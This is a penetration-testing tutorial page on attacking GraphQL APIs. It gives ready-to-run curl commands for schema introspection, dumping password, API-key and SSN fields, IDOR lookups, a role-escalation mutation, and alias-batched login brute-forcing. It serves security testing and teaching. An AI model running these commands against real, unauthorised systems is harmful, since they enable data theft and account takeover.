# GraphQL Exploitation

> Exploit GraphQL APIs via introspection abuse, query batching, field stuffing, and injection attacks to extract data or escalate privileges.

- **URL:** https://hackindex.io/services/web/exploitation/graphql-exploitation
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

GraphQL is a query language for APIs that exposes a single endpoint (typically `/graphql` or `/api/graphql`). Unlike REST, GraphQL lets clients request exactly the data they want, including deeply nested relationships. Misconfigurations commonly expose introspection (full schema disclosure), allow unauthorized data access through query manipulation, and enable denial of service through deeply nested queries.

## Endpoint Discovery

GraphQL endpoints are not always at `/graphql`. Common paths to check:

- `/graphql`
- `/api/graphql`
- `/graphql/v1`
- `/api/v1/graphql`
- `/graphiql` (interactive IDE)
- `/playground`
- `/console`
- `/query`

**Confirm GraphQL endpoint**

```bash
curl -s -X POST http://$TARGET_IP:$PORT/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{__typename}"}'
# {"data":{"__typename":"Query"}}
```

## Introspection Query

Introspection reveals the entire API schema: types, fields, queries, mutations, and their arguments. Enabled by default in most GraphQL implementations.

**Full introspection query**

```bash
curl -s -X POST http://$TARGET_IP:$PORT/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{__schema{types{name,fields{name,args{name,type{name}},type{name,ofType{name}}}}}}"}'  | python3 -m json.tool
```

For a more readable output, use tools like `graphql-voyager` (visual schema explorer) or pipe the introspection result through a schema formatter.

## Unauthorized Data Access

GraphQL often exposes more data than the frontend uses. Query fields the application does not normally request.

**Query user data with sensitive fields**

```bash
curl -s -X POST http://$TARGET_IP:$PORT/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{users{id,username,email,password,role,apiKey,ssn}}"}'  | python3 -m json.tool
```

## IDOR via GraphQL

Query other users' data by manipulating the ID argument.

```bash
curl -s -X POST http://$TARGET_IP:$PORT/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{user(id: 1){id,username,email,role}}"}'
# {"data":{"user":{"id":"1","username":"admin","email":"admin@target.local","role":"ADMIN"}}}
```

## Mutation Abuse

Mutations modify data. Test whether sensitive mutations are accessible without proper authorization.

**Escalate privileges via role mutation**

```bash
curl -s -X POST http://$TARGET_IP:$PORT/graphql \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <USER_TOKEN>' \
  -d '{"query": "mutation{updateUser(id: 2, role: \"ADMIN\"){id,username,role}}"}'
```

## Batching and Alias Attacks

GraphQL supports query batching and aliases, enabling brute-force attacks in a single request (bypassing rate limits).

**Brute-force login via aliases**

```bash
curl -s -X POST http://$TARGET_IP:$PORT/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{a0:login(username:\"admin\",password:\"password\"){token} a1:login(username:\"admin\",password:\"admin123\"){token} a2:login(username:\"admin\",password:\"letmein\"){token}}"}'
```

## Introspection Disabled Bypass

When introspection is disabled, use field suggestion errors to reconstruct the schema. GraphQL implementations often suggest similar field names in error messages.

**Probe for field suggestions**

```bash
curl -s -X POST http://$TARGET_IP:$PORT/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{us}"}'
# {"errors":[{"message":"Cannot query field \"us\" on type \"Query\". Did you mean \"user\" or \"users\"?"}]}
```

## References

- [GraphQL: Introspection](https://graphql.org/learn/introspection/) - Official documentation on introspection queries.
- [Clairvoyance: GraphQL Schema Reconstruction](https://github.com/nikitastupin/clairvoyance) - Tool for reconstructing schemas when introspection is disabled.
- [HackTricks: GraphQL](https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html) - GraphQL pentesting techniques and common vulnerabilities.